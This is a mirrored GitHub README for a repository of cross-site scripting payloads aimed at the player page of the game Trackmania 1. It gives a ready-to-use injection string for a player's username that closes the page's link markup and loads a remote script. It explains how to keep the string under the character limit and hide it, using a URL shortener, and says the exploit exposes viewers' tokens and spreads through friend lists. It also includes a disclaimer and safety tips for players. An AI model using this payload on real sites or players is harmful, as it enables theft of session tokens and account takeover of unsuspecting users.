Code Monkey home page Code Monkey logo

trackmania-xss-payloads's Introduction

๐Ÿ”— trackmania-xss-payloads

Repo of XSS payloads you can try when using Trackmania 1's playerpage

Warning

I am not responsible for any damage done with the knowledge from this repo. It's a proof of concept which is created only for education and research purposes. By using this code you accept that you will NOT use this method in malicious purposes and that kvbaxi takes no responsibility for misusage of this content.

๐Ÿ’ป Put this in your name to make payload

$l["><script/src="//payload_link_here"></script>]username

โ— How can you be safe?

Caution

THIS EXPLOIT EXPOSES YOUR TOKEN! DON'T SKIP THIS SECTION UNLESS YOU DON'T WANT TO BE SAFE!

The easiest method of preventing yourself from being attacked by this exploit is by:

  • Disabling JavaScript/Removing permission for JavaScript for this site - the site uses small amount to none of JavaScript, that means you can safely turn it off from this site while also not losing any funcitonalities of page.
  • Do not add random people to friends. - Main way to get attacked by this attack is by having user with said payload in friends. As it will display friends in stats section you're very likely to be hit by this way if you won't be cautious. Check who you're adding first!

โ“ How does it work?

Trackmania 1's playerpage is very insecure and old (due to the game not being updated), hence in time there were more and more security flaws found. One of them is this exact XSS. It works by escaping the site's link formatting code and executing own code with newly appended <script> tag.

One of the cons of this method is that you have limited set of characters you can use and length. You cannot use unescaped spaces as they will be escaped into HTML encoding (" " -> &nbsp;) so that is why I chose to use / instead as it converts / correctly as it was space.

In result you get clean payload almost invisible to human eye. The main change you'll notice when using this payload on your name is that on stats page you'll see "> on the beginning of your name. You can't prevent that without wasting another characters. In trackmania though, your payload is completely invisible on first look. Player has to hover over your name to see the suspicious payload in the place of link.

Due to need in saving characters you cannot use the GitHub Pages link I have for my repo as it will be too long. I recommend using shortener that will make it as short as possible.

๐ŸŽฅ Preview

mercury_AVR1XdRgXX.mp4

โ” List of payloads

There are 2 example payloads prepared in the repo:

  • main.js - Script informs user about their token (censored version) and then changes styles of the page. (as shown in preview above.)
  • rickroll.js - Scripts asks user for interaction with the website and then shows new popup with rick roll.

trackmania-xss-payloads's People

Contributors

kvba0000 avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.